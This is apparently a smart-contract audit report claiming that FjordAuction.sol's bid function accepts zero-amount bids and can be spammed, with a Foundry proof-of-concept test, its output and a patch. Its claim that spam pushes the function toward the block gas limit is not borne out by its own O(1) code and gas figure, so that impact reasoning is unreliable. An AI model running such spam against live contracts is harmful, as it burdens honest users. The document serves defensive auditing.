Summary
FjordAuction.solis the contract where users can bid Fjord points to auction. The bidfunction of the contract is vulnerable to spam, which will frustrate the contract and make this particular function uncallable.
Vulnerability Details
Here is the vulnerability:
function bid(uint256 amount) external {
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
Clearly, the contract allows 0 amount bids to be made, and this is what an attacker can use to frustrate the efficiency of the function.
Impact
The impact of these vulnerabilities is in several ways:
function congestion as a single address keeps making bids, thereby preventing honest users
if this continues perpetually, it will make the function hit a block gas limit and eventually be uncallable by anyone
the spams will shoot up gas fees to unreasonable prices such that it will not be economically smart of an honest user to proceed with making a bid
Proof of Code
Create a file called spam.t.soland paste this test:
pragma solidity =0.8.21;
import "forge-std/Test.sol";
import "src/FjordAuction.sol";
import { ERC20BurnableMock } from "../mocks/ERC20BurnableMock.sol";
import { SafeMath } from "lib/openzeppelin-contracts/contracts/utils/math/SafeMath.sol";
contract TestAuction is Test {
using SafeMath for uint256;
FjordAuction public auction;
ERC20BurnableMock public fjordPoints;
ERC20BurnableMock public auctionToken;
address public owner = address(0x1);
address public adversary = address(0x1234);
uint256 public biddingTime = 1 weeks;
uint256 public totalTokens = 1000 ether;
function setUp() public {
fjordPoints = new ERC20BurnableMock("FjordPoints", "fjoPTS");
auctionToken = new ERC20BurnableMock("AuctionToken", "AUCT");
auction =
new FjordAuction(address(fjordPoints), address(auctionToken), biddingTime, totalTokens);
deal(address(auctionToken), address(auction), totalTokens);
}
function testSpamBid() public {
address bidder = adversary;
uint bidAmount = 0 ether;
uint spam = 5000;
for (uint i = 0; i < spam; i++) {
vm.startPrank(adversary);
fjordPoints.approve(address(auction), bidAmount);
auction.bid(bidAmount);
vm.stopPrank();
}
uint256 gasBefore = gasleft();
vm.startPrank(adversary);
auction.bid(0);
vm.stopPrank();
uint256 gasAfter = gasleft();
uint256 gasUsed = gasBefore - gasAfter;
console.log("Gas used for the 5000th spam", gasUsed);
}
}
Then run foundry test --mt testSpamBid -vvv. Here is the result:
Ran 1 test for test/unit/spam.t.sol:TestAuction
[PASS] testSpamBid() (gas: 68790735)
Logs:
Gas used for the 5000th spam 10345
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 431.28ms (420.93ms CPU time)
Ran 1 test suite in 446.28ms (431.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
As we can see, the 5000th spam shot the gas up to 10345. This means honest users who want to call this function must pay more than 10345 as gas before they can successfully bid.
This way, the adversary frustrates every honest user from calling the function due to higher gas.
In addition, this can be worsened if the adversary keeps spamming the function with up to 20000 attempts.
Tools Used
Manual review
Foundry & test
Recommendations
The solution to this vulnerability is to check and bounce 0 amount bids. Practically, this is the improvement the code needs:
+ error AmountNotSubstantial();
/**
* @notice Thrown when the provided FjordPoints address is invalid (zero address).
*/
error InvalidFjordPointsAddress();
/**
* @notice Thrown when the provided auction token address is invalid (zero address).
*/
error InvalidAuctionTokenAddress();
/**
* @notice Thrown when a bid is placed after the auction has already ended.
*/
error AuctionAlreadyEnded();
/**
* @notice Thrown when an attempt is made to end the auction before the auction end time.
*/
error AuctionNotYetEnded();
/**
* @notice Thrown when an attempt is made to end the auction after it has already been ended.
*/
error AuctionEndAlreadyCalled();
/**
* @notice Thrown when a user attempts to claim tokens but has no tokens to claim.
*/
error NoTokensToClaim();
/**
* @notice Thrown when a user attempts to withdraw bids but has no bids placed.
*/
error NoBidsToWithdraw();
/**
* @notice Thrown when a user attempts to withdraw an amount greater than their current bid.
*/
error InvalidUnbidAmount();
function bid(uint256 amount) external {
+ if (amount <= 0) {
+ revert AmountNotSubstantial();
+ }
if (block.timestamp > auctionEndTime) {
revert AuctionAlreadyEnded();
}
bids[msg.sender] = bids[msg.sender].add(amount);
totalBids = totalBids.add(amount);
fjordPoints.transferFrom(msg.sender, address(this), amount);
emit BidAdded(msg.sender, amount);
}
This way, if we run the previous test again, here is what we will get:
Failing tests:
Encountered 1 failing test in test/unit/aauction.t.sol:TestAuction
[FAIL. Reason: AmountNotSubstantial()] testSpamBid() (gas: 20564)
Encountered a total of 1 failing tests, 0 tests succeeded
This shows we have secured that function from this vulnerability!
